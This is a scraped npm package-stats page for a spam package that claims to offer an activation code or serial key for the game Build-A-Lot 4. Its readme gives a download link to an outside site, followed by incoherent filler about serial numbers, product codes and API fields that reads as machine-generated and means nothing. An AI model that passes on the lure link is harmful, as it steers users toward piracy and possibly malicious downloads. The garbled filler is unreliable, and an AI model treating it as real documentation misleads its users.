npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2024 – Pkg Stats / Ryan Hefner

build_a_lot_4_power_source_activation_code_key_serial_number__6wtg

v1.0.0

Published

build-a-lot 4: power source activation code [key serial number]

Downloads

4

Readme

Build-A-Lot 4: Power Source Activation Code [key Serial Number]

Download >>>>> https://shoxet.com/2tjLWQ

all fields are optional. the fields are: serial number: a 16-bit serial number assigned by the manufacturer. for xmtrs, its usually a time-stamp of the order of purchase (which is why you need to include a purchase order number in the payload for the last build-a-lot). prod code: a 6-character alphanumeric code, displayed on the product packaging. this is usually the company name or product name. it is not necessarily unique. part number: a 12-character alphanumeric code, unique to each product. this is usually the part number used for manufacturing, if there is one. device name: the name of the product as displayed to the end-user. not always unique. device id: the unique identifier of the module, that is assigned by the manufacturer. obtained by performing a get on the /api/modules/json api endpoint. this identifier is not guaranteed to be unique. serial number: the actual serial number of the device, which is not guaranteed to be unique.

each message contains the following fields: product code: the company or product name. this is the field you must fill in to activate your purchase. prod code: the product name as it will be displayed to the end-user. part number: the unique identifier of the product. obtained by performing a get on the /api/modules/json api endpoint. this identifier is not guaranteed to be unique. device name: the name of the product as displayed to the end-user. device id: the unique identifier of the module, that is assigned by the manufacturer. serial number: the actual serial number of the device, which is not guaranteed to be unique. 84d34552a1